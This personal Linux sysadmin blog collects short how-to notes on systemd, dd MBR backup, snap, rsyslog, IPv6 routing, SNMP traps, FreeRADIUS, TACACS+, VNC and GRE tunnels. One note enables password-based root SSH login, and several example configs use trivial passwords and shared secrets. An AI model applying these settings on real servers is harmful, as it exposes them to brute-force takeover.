Friday, September 22, 2017

How can I switch multi-user or graphical mode via one command? (Systemd)

To switch multi-user to graphical mode (runlevel 3 to runlevel 5)

# systemctl set-default graphical && reboot




To switch graphical to multi-user mode (runlevel 5 to runlevel 3)

# systemctl set-default multi-user && reboot


Monday, September 18, 2017

How to know the system and service manage daemon of your Linux? (SysVinit or Systemd)

It's simple, just check your pid 1. (ps --pid 1)

SysVinit:


Systemd:





Thursday, September 14, 2017

How can I backup and restore MBR via dd command?

Check device name of HD:
# lsblk








Backup MBR:
# dd if=/dev/sda of=file bs=1 count=512




Note:
1. The size of MBR is 512 bytes and located in the first sector.
2. Of cause you need to save MBR backup file somewhere else.

Restore MBR:
# dd if=file of=/dev/sda bs=1 count=512


Monday, September 11, 2017

Snap commands

Here I want to list some of snap commands that I often use.

Also here is a website to understand all of snap commands:
https://snapcraft.io/docs/reference/snap-command


Log on to a snap store:
lawchiu@localhost:~$ sudo snap login xxx.xxx@gmail.comPassword of "xxx.xxx@gmail.com":
Login successful

Log out snap store:
lawchiu@localhost:~$ snap logout

Update snap:
lawchiu@localhost:~$ snap refresh
All snaps up to date
List installed snap:
lawchiu@localhost:~$ snap list
Name             Version       Rev   Developer            Notes
checkbox-snappy  2.2           859   ce-certification-qa  devmode
core             16-2.27.5     2774  canonical            core
hello            2.10          20    canonical            -
pc               16.04-0.8     9     canonical            gadget
pc-kernel        4.4.0-83.106  68    canonical            kernel
lawchiu@localhost:~$

Remove snap:
lawchiu@localhost:~$ snap remove hello
hello removed

Find packages:
lawchiu@localhost:~$ snap find 




Thursday, September 07, 2017

Install and use glances on Ubuntu

Glances is a great tools which able to monitor CPU, Memory, Disk, Network statistics... etc.

Please refer to glances website for details.

Steps:
1. Install glances via apt:
lawrencechiu@lawrencechiu-HP-Compaq-6005-Pro-SFF-PC:~$ sudo apt-get install glances


2. Executed glances:
lawrencechiu@lawrencechiu-HP-Compaq-6005-Pro-SFF-PC:~$ sudo glances

3. Then you can see CPU usage, Memory status, SWAP, Network statistics, Disk IO, Disk usage, and PID info in one screen below:














Green means OK
Blue means CAREFUL
Purple means WARNING
Red means: CRITICAL

Hotkey:
 a  Sort processes automatically          b  Bytes or bits for network I/O
 c  Sort processes by CPU%                l  Show/hide alert logs
 m  Sort processes by MEM%            w  Delete warning alerts
 p  Sort processes by name                  x  Delete warning and critical alerts
 i  Sort processes by I/O rate               1  Global CPU or per-CPU stats
 t  Sort processes by CPU times          h  Show/hide this help screen
 d  Show/hide disk I/O stats                T  View network I/O as combination
 f  Show/hide filesystem stats             u  View cumulative network I/O
 n  Show/hide network stats                F  Show filesystem free space
 s  Show/hide sensors stats                  g  Generate graphs for current history
 2  Show/hide left sidebar                    r  Reset history
 z  Enable/disable processes stats        q  Quit (Esc and Ctrl-C also work)
 e  Enable/disable top extended stats
 /  Enable/disable short processes name
 D  Enable/disable Docker stats

Enjoy~


Thursday, August 31, 2017

How can I remote ssh login to the Ubuntu 16.04 LTS via root?

By default you are unable to ssh login to the Ubuntu 16.04 LTS via root, but you can enable it step by step as following:

1. Login to the system via regular user account.

2. Set password to root account (Due to root password is empty by default)
sudo passwd root
3. To modify the configuration file of sshd_config (Marked PermitRootLogin prohibit-password, and added PermitRootLogin yes )
sudo vi /etc/ssh/sshd_config
# Authentication:
LoginGraceTime 120
#PermitRootLogin prohibit-password 
PermitRootLogin yes 
StrictModes yes
4. Restart sshd
 sudo systemctl restart ssh

Done.

Tuesday, August 29, 2017

Unable to logon to the Ubuntu Core with 2nd SSH public key?

After I added a new SSH public key into my Ubuntu One. However, I am unable to logon to the Ubuntu Core system with this new key, therefore I logon to the Ubuntu Core by original public key.

Afterward, I noticed that my system didn't sync up a new public key from Ubuntu One automatically.

Until now I have no idea if this is a defect or limitation, please advice, if any.

Workaround:
Added 2nd public key via manually into the ~/.ssh/authorized_keys


Wednesday, August 16, 2017

How to deploy Ubuntu Core from KVM to VirtualBox?

Steps:
1. Download Ubuntu Core of KVM image from URL below:
https://developer.ubuntu.com/core/get-started/kvm

2. To decompress xz.

3. To convert the format of img to the vdi via VBoxManage command below:

VBoxManage.exe convertdd ubuntu-core-16-amd64.img ubuntu-core-16-amd64.vdi
4. Import vdi file above to the VirtualBox without issue.



Wednesday, June 14, 2017

Python的額外錯誤處理

Example:
try:
    data=open('open_file.txt')
    for each_line in data:
        try:
            (var1,var2)=each_line.split(":",1)
            print(var1)
            print(var2)
        except:
            print(each_line)
    data.close()
except:

    print('File is not existing'

透過Python的try & except,程式碼果真變得很簡潔~

Monday, May 22, 2017

如何將Python程式模組化?

今天學習了如何將Python function模組化.
實際的步驟:
1. 撰寫python, 存檔為*.py
2. 撰寫setup.py for metadata (*.py跟setup.py需在同一個目錄下)
3. 執行python setup.py sdist 以建構發行套件檔案4. 執行python setup.py install 來安裝發行套件到本地端

開啟一個新檔案把module 用import的方式匯入, 透過引用正確的module名稱跟函式就可以執行了.

Tuesday, April 25, 2017

Cockpit

I saw this tools recently, and I am definitely to try it. :)

Cockpit


Thursday, April 06, 2017

Root file system is mounted as read only ?

I encountered this symptom and found out similar issue and solution is listed as below:

http://www.unix.com/linux/168716-root-filesystem-goes-readonly.html

Method:
fsck -p /dev/sdX

Thursday, August 27, 2015

TIPS for Expect Script

在此筆記一些Expect Script的使用技巧。

1. 記錄Expect Script執行的過程:
 log_file -noappend ./$0.log
.......
.......
.......
log_file
2. 與遠端主機斷線:
expect eof
3.  For loop於Expect Script的用法:
expect -c "
for {set i 1} {\$i <= 10} {incr i 1} {

}
"
4. If於Expect Script的用法:
expect -c "
  if { \$i == 1 } {

 }
5. 於Expect Script跳脫"符號的方法:
expect -c
send \"test \\\"test\\ test\\ test\\\"\r\"
"

Tuesday, August 25, 2015

如何讓rsyslog 也支援TCP?

預設rsyslog只支援UDP with port 514,如果要支援TCP,可以載入TCP的模組即可使用。

$ModLoad imudp.so
$UDPServerRun 514

$ModLoad imtcp.so
$InputTCPServerRun 514

記得修改完畢後restart rsyslog。

Monday, February 09, 2015

Use Linux be an IPv6 Router

簡單筆記一下如何使用Linux當IPv6的Router,以利將來備查。順便此次的實作是使用CentOS7.0,所以啟動daemon的方式跟以往SysV的方式不太一樣。

Step1. Enable IPv6 forwarding for Kernel via /etc/sysctl.conf:
net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.default.forwarding = 1
net.ipv6.conf.br0.forwarding = 1
net.ipv6.conf.br1.forwarding = 1
net.ipv6.conf.br2.forwarding = 1

Step2. Use radvd be a DHCPv6 Server:
Step2.1 Open then edit /etc/radvd.conf:interface br0
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
prefix 3001:688::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};
interface br1
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
prefix 3001:588::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};
interface br2
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
prefix 3001:288::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};

Step2.2: Launch radvd immediately as well as start running it when system boots up:[root@rhel7 network-scripts]# systemctl start radvd
[root@rhel7 network-scripts]# systemctl enable radvd
[root@rhel7 network-scripts]# systemctl status radvd
radvd.service - Router advertisement daemon for IPv6
   Loaded: loaded (/usr/lib/systemd/system/radvd.service; enabled)
   Active: active (running) since 五 2015-02-06 16:22:51 CST; 1h 41min ago
 Main PID: 9884 (radvd)
   CGroup: /system.slice/radvd.service
           ├─9882 /usr/sbin/radvd -u radvd
           └─9884 /usr/sbin/radvd -u radvd
 2月 06 16:49:43 rhel7 radvd[9884]: resuming normal operation
 2月 06 16:49:44 rhel7 radvd[9884]: attempting to reread config file
 2月 06 16:49:44 rhel7 radvd[9884]: resuming normal operation
 2月 06 16:49:51 rhel7 radvd[9884]: attempting to reread config file
 2月 06 16:49:51 rhel7 radvd[9884]: resuming normal operation
 2月 06 16:49:53 rhel7 radvd[9884]: attempting to reread config file
 2月 06 16:49:53 rhel7 radvd[9884]: resuming normal operation
 2月 06 16:49:53 rhel7 radvd[9884]: attempting to reread config file
 2月 06 16:49:53 rhel7 radvd[9884]: resuming normal operation
 2月 06 18:03:32 rhel7 systemd[1]: Started Router advertisement daemon for IPv6.
Verify:
HostA(300:288::253):

eth1      Link encap:Ethernet  HWaddr 08:00:27:45:E9:40
          inet addr:10.10.2.253  Bcast:10.10.2.255  Mask:255.255.255.0
          inet6 addr: 3001:288::253/64 Scope:Global
          inet6 addr: fe80::a00:27ff:fe45:e940/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:6439011 errors:0 dropped:0 overruns:0 frame:0
          TX packets:6261045 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:2632403693 (2.4 GiB)  TX bytes:244180721 (232.8 MiB)
[root@server1 ~]# ip -6 route show
3001:588::/64 via 3001:288::1 dev eth1  metric 1024  expires 4293343sec mtu 1500 advmss 1440 hoplimit 4294967295
3001:688::/64 via 3001:288::1 dev eth1  metric 1024  expires 4293666sec mtu 1500 advmss 1440 hoplimit 4294967295

[root@server1 ~]# ping6 3001:588::100 -c 3
PING 3001:588::100(3001:588::100) 56 data bytes
64 bytes from 3001:588::100: icmp_seq=0 ttl=63 time=31.9 ms
64 bytes from 3001:588::100: icmp_seq=1 ttl=63 time=24.3 ms
64 bytes from 3001:588::100: icmp_seq=2 ttl=63 time=5.61 ms
--- 3001:588::100 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2015ms
rtt min/avg/max/mdev = 5.615/20.607/31.904/11.046 ms, pipe 2

HostB(3001:588::100):

Wireless LAN adapter Wireless Network Connection:
   Connection-specific DNS Suffix  . : example.com   IPv6 Address. . . . . . . . . . . : 3001:588::100
   IPv6 Address. . . . . . . . . . . : 3001:588::2677:3ff:fe77:f29c
   Link-local IPv6 Address . . . . . : fe80::2677:3ff:fe77:f29c%31
   IPv4 Address. . . . . . . . . . . : 10.10.5.188
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : fe80::6a05:caff:fe22:2b8b%31
                                       3001:588::1
                                       10.10.5.254

D:\Tools\wbox-3>ping -6 3001:288::253
Pinging 3001:288::253 with 32 bytes of data:
Reply from 3001:288::253: time=29ms
Reply from 3001:288::253: time=64ms
Reply from 3001:288::253: time=158ms
Reply from 3001:288::253: time=24ms
Ping statistics for 3001:288::253:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 24ms, Maximum = 158ms, Average = 68ms

Friday, August 22, 2014

如何避免remote syslog寫入到本機的/var/log/messages?

如題,假設今天log receive server將收集幾十台甚至幾百台裝置的log,預設上rsyslog會將這些裝置的log也同時寫入到本機的/var/log/messages。這是個非常令人感到困擾的一件事,因為本機的log將會被洗版.... 還好這是有方法可以解決的,以下用rsyslog舉個例子:

:fromhost-ip,isequal,"192.168.1.1"                        /var/log/remote.log
:fromhost-ip,isequal,"192.168.1.2"                        /var/log/remote.log
:fromhost-ip,isequal,"192.168.1.3"                        /var/log/remote.log
........
*.info;mail.none;authpriv.none;cron.none               /var/log/messages


192.168.1.1~3的log會寫入到/var/log/remote.log,但同時也會寫入
到/var/log/messages!


解決方法:

:fromhost-ip,isequal,"192.168.1.1"                        /var/log/remote.log
           & ~
:fromhost-ip,isequal,"192.168.1.2"                        /var/log/remote.log
           & ~
:fromhost-ip,isequal,"192.168.1.3"                        /var/log/remote.log
          & ~
........
*.info;mail.none;authpriv.none;cron.none               /var/log/messages

"& ~"能通知rsyslog,當把remote device log寫入到/var/log/remote.log後,就停止接下來的動作,那麼當然remote device log就不會寫入到/var/log/messages囉!

Wednesday, July 30, 2014

My PS1 in ~/.bashrc

export PS1="\[\e[00;30m\]\u@\h:\w\\$ \[\e[0m\]"

user@hostname:directory $or#

->

root@rhel7:/lib/systemd/system# 

[lawrence@rhel7 tmp]$ 




Friday, July 25, 2014

How to enable vncserver on CentOS7/RHEL7

CentOS7/RHEL7 改用了systemd取代了SysVinit,因此我必須把這幾年已經還給天地的Linux重新拿出來研究一番,否則真的跟不上時代了!那就先從學習systemd開始吧!


Case: How can I enable vncserver at boot?

Steps:
1. Install vnc:
#yum install tigervnc*

2. 建立vnc user:
以某個user來執行vncserver之後,在user家目錄中有這個/.vnc/xstartup檔案就可以了,當然passwd也是會一起產生的。
以上與CentOS6/RHEL6無異。


3. 修改vnc config:
開啟/lib/systemd/system/vncserver@.service
修改[service]這個field如下:
[Service]
Type=forking
# Clean any existing files in /tmp/.X11-unix environment
ExecStartPre=/bin/sh -c '/usr/bin/vncserver -kill > /dev/null 2>&1 || :'
ExecStart=/sbin/runuser -l root -c "/usr/bin/vncserver"
ExecStop=/bin/sh -c '/usr/bin/vncserver -kill > /dev/null 2>&1 || :'
用root啟動vncserver不是一個好習慣.....


4. daemon-reload:
修改unit(service)的configuration後,必需讓systemd知道,所以我要執行 systemctl daemon-reload昭告天下。

5. 手動啟動vncserver:
systemctl start vncserver@multi-user
6. 開機啟動vncserver:
systemctl enable vncserver@multi-user

Monday, January 06, 2014

解決facility與severity在LogAnalyzer是空白的問題

最近實作中也碰到了這個問題,解決的方法如下:
http://wiki.rsyslog.com/index.php/Fix_blank_Facility_and_Severity_columns_in_loganalyzer

補充:
如何改變syslog到Rsyslog format23? 原文並沒有提到唷!這邊幫忙補充一下。

只需要一個步驟,那就是修改LogAnalyzer的config.php,把LogLineType從syslog改成syslog23如下:
$CFG['Sources']['Source2']['LogLineType'] = 'syslog23';

Wednesday, December 18, 2013

How to turn on wireless monitor mode to sniffer 802.11 wireless frame on OSX 10.9?

Install:
Step1. Install XQartz(X11) for OSX 10.6 or later (http://xquartz.macosforge.org/landing/)
Step2. Logout and login OSX by Admin account.
Step3. Install Wireshark for OSX 10.6 and later Intel 64 bit (http://www.wireshark.org/download.html)
Step4. Launch Wireshark and chose XQartz as X11 environment.
Step5. Turn on monitor mode -> http://ask.wireshark.org/questions/26270/how-to-turn-on-monitor-mode-on-mac-osx-1075

Specify channel for 2.4G or 5G radio:
Step1. sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/sbin/airport
Step2. sudo airport -z #disassociates you card from the current network
Step3. sudo airport --channel= ["channel you want to switch to"] #sets the channel the card monitors on

Tuesday, December 03, 2013

為何tail -f | grep "" >> 檔案 然後發現資料不完全? missing line?

昨天被同事問到這個問題,由於小弟智力有限一時間竟無法理解,然而今天找到答案了,原來是libc對於這種 pipe的結構不會自動去清除buffer,所以一旦buffer滿了(4KB by default)那接下來的資料就無法繼續傳給pipe之後來處理,所以就會missing line囉,解決的方法就是手動自行清除buffer如下以避免爆炸。

tail -f | grep "pattern" --line-buffered >> /tmp/log &

Monday, October 28, 2013

How does snmptrap work on Linux?

在此簡單記錄下如何設定CentOS接收snmp v2與v3的trap event.

Steps:
1. 安裝net-snmp。

2. 確定snmptrapd已經安裝於系統。

3. 匯入mibs files:
先確定mibs的目錄:
[root@localhost ~]# net-snmp-config --default-mibdirs
/root/.snmp/mibs:/usr/share/snmp/mibs
可以看到我的mibs可以放在/root/.snmp/mibs or /usr/share/snmp/mibs,在此我選擇放在/usr/share/snmp/mibs。

4. 設定snmptrapd可以接收snmp v2與v3的trap event:
開啟並編輯[root@localhost mibs]# vi /etc/snmp/snmptrapd.conf 如下:
#SNMP v2 with community as public
disableAuthorization no
authCommunity log,execute,net public
# SNMP v3 with user as admin and passphase as aaaaaaaa
createUser admin MD5 aaaaaaaa DES aaaaaaaa
authUser log,execute,net admin

5. 不以daemon的方式啟動snmptrapd:
[root@localhost mibs]# snmptrapd -m all -c /etc/snmp/snmptrapd.conf -Lo -f
NET-SNMP version 5.3.2.2
-m all -> 讀入所有的mibs files
-c -> 預設的configuration file
-Lo -> 輸出到基本output
-f -> do not fork from the shell
這邊你會看到snmp trap event會輸出至螢幕,方便debug用。

6. 以daemon的方式啟動snmptrapd:
[root@localhost mibs]# /etc/init.d/snmptrapd start
正在啟動 snmptrapd:                                        [  確定  ]
而這裡你將會看到snmp trap event會被寫入到/var/log/messages。






Friday, August 02, 2013

How to enable auth details in FreeRADIUS log?

Here to describe how to enable detail auth information and authentication requests to the log file in FreeRADIUS.

FreeRADIUS 1.x:
Open and edit /etc/raddb/radiusd.conf to set:
log_auth = yes
auth_log
detail auth_log {
                detailfile = ${radacctdir}/%{Client-IP-Address}/auth-detail-%Y%m%d
                #
                #  This MUST be 0600, otherwise anyone can read
                #  the users passwords!
                detailperm = 0600
         }


FreeRADIUS 2.x:
Open and edit /etc/raddb/radiusd.conf to set:
auth = yes
Open and edit /etc/raddb/sites-available/default to set:
auth_log



Thursday, June 27, 2013

How can I allow IP protocol 47 (gre) via iptables to connect a GRE GW?

Topology:
GRE GW1 ----- Switch -----(eth0)Linux NAT Router(eth1) ----- Switch ----- GRE GW2

To configure IP protocol 47 to GRE GW on NAT Router below:
# iptables -t nat -A PREROUTING -i eth0 -p gre -j DNAT --to-destination 10.10.2.186  
Where 10.10.2.186 is GRE GW2's IP.


To configure L2oGRE on Linux:
# modprobe ip_gre
# ip link add link gre0 name tunnel0 type gretap remote 192.168.0.1 local 10.10.2.186
# ip link set tunnel0 up
# brctl addbr br0
# ip link set br0 up
# ip link set eth2 up
# brctl addif br0 tunnel0
# brctl addif br0 eth2

Monday, April 01, 2013

Set http/https proxy server in Linux CLI

HTTP:
# export http_proxy="http://10.10.10.254:8080"

HTTPs:
# export https_proxy="https://10.10.10.254:8080"

Where 10.10.10.254 is the IP of Proxy Server, and 8080 is port number.

Remove:
# unset http_proxy
# unset https_proxy

Afterward you can use curl to verify.

Wednesday, March 13, 2013

Howto TACACS+ on CentOS6.x

Here to describe howto install/configure TACACS+ on CentOS6.x on step by step.

Step1. Download rpm:
wget ftp://ftp.muug.mb.ca/mirror/redhat/contrib/libc6/i386/tac_plus-4.0.3-2.i386.rpm

Step2. Install:
rpm -ivh tac_plus-4.0.3-2.i386.rpm

Step3. Configure user in TACACS+:
vi /etc/tacacs/tac_plus.cfg
# Created by Devrim SERAL(devrim@tef.gazi.edu.tr)
# It's very simple configuration file
# Please read user_guide and tacacs+ FAQ to more information to do more
# complex tacacs+ configuration files.
#
# Put your NAS key below
key = "testing123"
# Use /etc/passwd.loc file to do authentication
# it's must be in passwd file format. So you must mix shadow-passwd files to do it
#default authentication = file /etc/passwd.loc
user = lawrence {        login = cleartext 123456}

# Where is the accounting records to go
accounting file = /var/log/tacacs.log
# Permit all authorization request
default authorization = permit
# End config file

# The user lawrence with password 123456 will be created.


Step4. Start TACACS+ daemon:

[root@server1 tmp]# /etc/init.d/tacacs start
Starting tacacs+:
[root@server1 tmp]# netstat -tupln | grep 49
tcp        0      0 0.0.0.0:49                  0.0.0.0:*                   LISTEN      9027/tac_plus

Done~

Update1, small snapshot from user guide:


At the service authorization level i.e. inside the braces of a
service declaration, arguments in an authorization request are
processed according to the algorithm described later. Some actions
when authorizing services (e.g. when matching attributes are not
found) depend on how the default is configured. The following
declaration changes the default from deny to permit for this user and
service.

user = lol {
    service = exec {
        default attribute = permit
    }
}

Howto debug:

DEBUGGING A RUNNING SERVER
--------------------------

There is a myriad of debugging values that can be used in conjunction
with the -d flag to produce debugging output in /var/tmp/tac_plus.log.

For example, starting the daemon with

        tac_plus -C CONFIG -d 16

will put authentication debugging into /var/tmp/tac_plus.log. You can
view this information by using the tail command.

        tail -f /var/tmp/tac_plus.log

See the man page for more information.




Thursday, February 07, 2013

增加FreeRADIUS的listen port

預設FreeRADIUS的listen port為1812(認證)與1813(計費),但是FreeRADIUS允許我們可以多bind幾個port來使用。

測試版本: CentOS 5.8/FreeRADIUS 1.1.3-1.6.el5

Steps:
1. 確定目前只有1812/1813在使用,1814/1815無任何daemon使用,等會將設定1814為Auth而1815為ACCT。

[root@server1 raddb]# netstat -tupln | grep 1812
udp        0      0 0.0.0.0:1812                0.0.0.0:*                               7300/radiusd      
[root@server1 raddb]# netstat -tupln | grep 1813
udp        0      0 0.0.0.0:1813                0.0.0.0:*                               7300/radiusd      
[root@server1 raddb]# netstat -tupln | grep 1814
[root@server1 raddb]# netstat -tupln | grep 1815


2. 開啟/etc/raddb/radiusd.conf,並新增listen ports 1814與1815。

listen {
 ipaddr = *
 port=1814
 type=auth
}
listen {
 ipaddr = *
 port=1815
 type=acct
}

3. 重新啟動FreeRADIUS:

[root@server1 raddb]# /etc/init.d/radiusd restart
正在停止 RADIUS 伺服器:                                    [  確定  ]
正在啟動 RADIUS 伺服器: Thu Feb  7 13:31:06 2013 : Info: Starting - reading configuration files ...
                                                           [  確定  ]

4. 檢查1812, 1813, 1814, 1815為FreeRADIUS所使用。

[root@server1 raddb]# netstat -tupln | grep 1812
udp        0      0 0.0.0.0:1812                0.0.0.0:*                               7347/radiusd      
[root@server1 raddb]# netstat -tupln | grep 1813
udp        0      0 0.0.0.0:1813                0.0.0.0:*                               7347/radiusd      
[root@server1 raddb]# netstat -tupln | grep 1814
udp        0      0 0.0.0.0:1814                0.0.0.0:*                               7347/radiusd      
[root@server1 raddb]# netstat -tupln | grep 1815
udp        0      0 0.0.0.0:1815                0.0.0.0:*                               7347/radiusd   


大功告成!

Tuesday, February 05, 2013

CentOS 5.9 has released!

CentOS 5.9 釋出了,明天來update。
http://www.tecmint.com/how-to-upgrade-from-centos-5-x-to-centos-5-9/

Wednesday, December 19, 2012

Linux有Terminator,OSX呢?

Terminator在Linux上可說是神兵利器,絕對是工程師的最愛,那麼OSX呢? 唉,原生的終端機真的是跟不上時代...... 好在有iTerm2可以用,真是棒呀!現在我只能說13"的MBP螢幕有點小。:p

Wednesday, December 12, 2012

Disable IPv6 in Mac OSX 10.7

如下圖在OSX10.7裡面的網路設定,針對IPv6並沒有關閉的選項,搜尋了一下可以用command暫時將它關閉起來。



For Ethernet:
networksetup -setv6off Ethernet

For Wireless:
networksetup -setv6off Wi-Fi




Wednesday, November 07, 2012

Bonjour browser on OSX


You can use mDNS or Bonjour browser to query DNS-SD on OSX as following:
  • Browser service:
mDNS -B                (Browse for services instances)
MBP:~ lawrence$ mDNS -B _sftp-ssh._tcp.
Browsing for _sftp-ssh._tcp.
Talking to DNS SD Daemon at Mach port 5891
Timestamp     A/R Flags Domain                   Service Type             Instance Name
12:18:11.060  Add     0 local.                   _sftp-ssh._tcp.          MBP



  • Look up a service:
mDNS -L           (Look up a service instance)
MBP:~ lawrence$ mDNS -L "MBP" _sftp-ssh._tcp. .
Lookup MBP._sftp-ssh._tcp.local
Talking to DNS SD Daemon at Mach port 5891
12:18:54.882  Service can be reached at   10.10.2.7      :22
12:18:54.882  FE80:0000:0000:0000:3E07:54FF:FE35:5093%en0:22
12:18:54.883  3001:0288:0000:0000:3E07:54FF:FE35:5093%en0:22




  • Bonjour browser:

References:

Thursday, October 18, 2012

DHCP Server某網段的IP range被用完了該怎麼辦?

做實驗時不小心把某個網段的IP scope用完了,距離release時間有一天,影響到新的client拿不到IP了,靈機一動就想把它手動砍掉吧!不過我要對付的是整個IP scope,嘿嘿~派出sed一行指令就結束了。

Steps:
1. dhcpd的lease table是放在/var/lib/dhcpd/dhcpd.leases

2. 檢查一下格式:

lease 10.10.6.125 {
  starts 2 2012/10/16 22:12:53;
  ends 3 2012/10/17 22:12:53;
  tstp 3 2012/10/17 22:12:53;
  binding state active;
  next binding state free;
  hardware ethernet b8:ac:6f:21:53:ec;
  uid "\001\270\254o!S\354";
  client-hostname "D129252S";
}

10.10.6這個range被fake DHCP client用完了,所以我要把它們手動通通砍掉。

3. Sed:

sed -i "/10.10.6/,/}/d" /var/lib/dhcpd/dhcpd.leases

4. 重啟DHCP Server:
# /etc/init.d/dhcpd restart

參考: http://en.kioskea.net/faq/1451-sed-delete-one-or-more-lines-from-a-file

Saturday, October 06, 2012

Install Monitorix on CentOS

Monitorix是一套free, open的套件能幫助系統管理者觀察主機的各種狀況,比如網路的流量,磁碟的使用率與服務的負載等等。安裝與配置的方法則是出乎意料的簡單。

Step1. Installation:
# yum install httpd rrdtool rrdtool-perl perl-libwww-perl perl-MailTools perl-MIME-Lite perl-CGI perl-DBI perl-XML-Simple

# rpm -ivh http://www.monitorix.org/monitorix-n.n.n-1.noarch.rpm
(where n.n.n is the latest version,2.6.0 for example)

Step2. Configuration:
Configure file is in /etc/monitorix.conf
Apache configure file is in /etc/httpd/conf.d/monitorix.conf, and you need to configure it allow connect to Monitorix from any where.



Step3. Restart service:
# /etc/init.d/monitorix start && chkconfig monitorix on
# /etc/init.d/httpd restart && chkconfig httpd on

Step4. Access:
http://X.X.X.X/monitorix/
(Where X.X.X.X is your IP address)









Saturday, September 15, 2012

升級OpenSUSE12.2

剛剛把OpenSUSE12.1升級到了12.2,先來說說第1印象吧。


  1. 改用了Systemd取代Sys V,所以感覺上開機變更快了。
  2. 字型變更漂亮。
  3. DeadBeef運作良好,不受升級影響。
  4. aMule運作良好,不受升級影響。
  5. Terminator運作良好,不受升級影響。

問題:

  1. 音效輸出不會自動切換,比如當插入耳機後,喇叭還是有輸出。
  2. Google-Chrome需要重新安裝。
  3. PPS不能播放,可能需要重新安裝。
  4. Tools bar看不到目前的輸入法。
  5. 無法針對RAR檔案解壓縮。

剛升級完,繼續測試中。

How to upgrade?

Friday, September 14, 2012

How to be a Multicast Video stream Server in Linux

透過VLC這套軟體,可以在Linux建立支援multicast的媒體串流播放器,以下簡單的記錄IPv4與IPv6的建立與播放的方法:

1. IPv4:
- 切換至non-root user.
- 開啟console.
- 執行以下的命令:
vlc -vvv 111755131.mov -L --sout '#duplicate{dst=rtp{mux=ts,dst=239.1.1.1,port=5004,sdp=sap://,name="TestStream"}}'

111755131.mov 是欲播放的檔案。
239.1.1.1 with port 5004 是multicast的IPv4 address與port number.


2. IPv6:
步驟跟IPv4都一樣,只是將IP改成v6的格式如下:
vlc -vvv 111755131.mov -L --sout '#duplicate{dst=rtp{mux=ts,dst=[ff08::114],port=5004,sdp=sap://,name="TestStream"}}'


VLC Client:
- IGMP v2: Media::Open Network Stream:: rtp://@239.1.1.1:5004

- IGMP v3: Media::Open Network Stream:: rtp://10.10.10.10@239.1.1.1:5004

- MLD: Media::Open Network Stream:: rtp://@[ff08::114]:5004

Set IGMP version in Windows

Latency when displaying a live RTP stream

Wednesday, September 05, 2012

帽客的愛車 VW Tiguan

Tiguan結合了Tiger與Lguana -> OSX+OpenSUSE? 所以我對它情有獨鍾 :) 別來亂了,這台車是我老婆選的。但是它真的是台好車唷!



OpenSUSE 12.2正式發行!

OpenSUSE 12.2已經可以開始下載囉!以下是這一版本的release note.

Sunday, September 02, 2012

還有三天!OpenSUSE12.2要來囉!

緊接著Fedora17,還剩三天OpenSUSE 12.2就要釋出囉!話說我也好久沒有更新我的Blog了.......唉唉唉~

Tuesday, May 29, 2012

Free memory on Mac OSX

公司的MacBookPro很少重新開機,想當然耳系統日以繼夜的運行,當開啟新的APP時,會覺得有點卡卡的,以往習慣用MemoryFree2這套APP去清理"inactive"的memory,但是其實用一個command就可以達成了,實作如下:


MBP:~ lawrence$ sync && purge

搞定,收工。

Monday, May 07, 2012

How to configure FreeRADIUS2.x support EAP-TLS under Linux?

延續上篇How to configure FreeRADIUS2.x support EAP-TTLS under Linux?
現在只要再產生client端要使用的certificate並且把ROOTCA與ClientCA匯入到client端,就可以使用EAP-TLS了,整個步驟如下:

Step1: MAKING A CLIENT CERTIFICATE

  Client certificates are used by EAP-TLS, and optionally by EAP-TTLS
and PEAP.  The following steps outline how to create a client
certificate that is signed by the server certificate created above.
You will have to have the password for the server certificate in the
"input_password" and "output_password" fields of the server.cnf file.

$ vi client.cnf
  Edit the "input_password" and "output_password" fields to be the
  password for the client certificate.  You will have to give these
  passwords to the end user who will be using the certificates.
  Edit the [client] section to have the correct values for your
  country, state, etc.  Be sure that the commonName field here is
  the User-Name that will be used for logins!
$ make client.pem
  The users certificate will be in "emailAddress.pem",
  i.e. "user@example.com.pem".
  To create another client certificate, just repeat the steps for
  making a client certificate, being sure to enter a different login
  name for "commonName", and a different password.

Step2: IMPORT ROOTCA, and Client Certificate/以Fedora16為例:
- 安全性: WPA&WPA2 Enterprise
- 驗證: TLS
- 識別: commonName
- CA: ca.pem
- 私密金鑰: client.p12
- 私密金鑰密碼: "input_password" and "output_password"
Note: ca.pem and client.p12是產生ROOTCA與Client Certificate時所一併產生的,所在的目錄是/etc/raddb/certs/

That's all.

Friday, April 27, 2012

How to configure IPv6 Router advertisement Daemon under Linux?

在此簡單記錄一下如何在Redhat/Fedora下透過Router advertisement Daemon(radvd)自動分派IPv6的IP address.

Step1: 設定Kernel參數 for IPv6 support

net.ipv6.conf.all.forwarding = 1
net.ipv6.conf.all.autoconf = 0

Step2: 設定系統支援IPv6
# vi /etc/sysconfig/network
......
NETWORKING_IPV6=yes
......

Step3: 安裝radvd
# yum install radvd

Step4: 設定radvd.conf
# vi /etc/radvd.conf
interface eth1
{
AdvSendAdvert on;
MinRtrAdvInterval 30;
MaxRtrAdvInterval 100;
        AdvOtherConfigFlag on;
prefix 3001:288::/64
{
AdvOnLink on;
AdvAutonomous on;
AdvRouterAddr on;
};
};


Step5: 啟動radvd
# /etc/init.d/radvd start; chkconfig radvd on

Thursday, April 26, 2012

How to configure FreeRADIUS2.x support EAP-TTLS under Linux?

If you would like to make FreeRADIUS 2.x support EAP-TTLS, then following steps outline how to configure it:

1. Re-generate Root CA/Server certificate:
# cd /etc/raddb/certs
# rm -f ca.der ca.key ca.pem
# rm -f server.crt server.csr server.key server.p12 server.pem

2. Make Root CA:

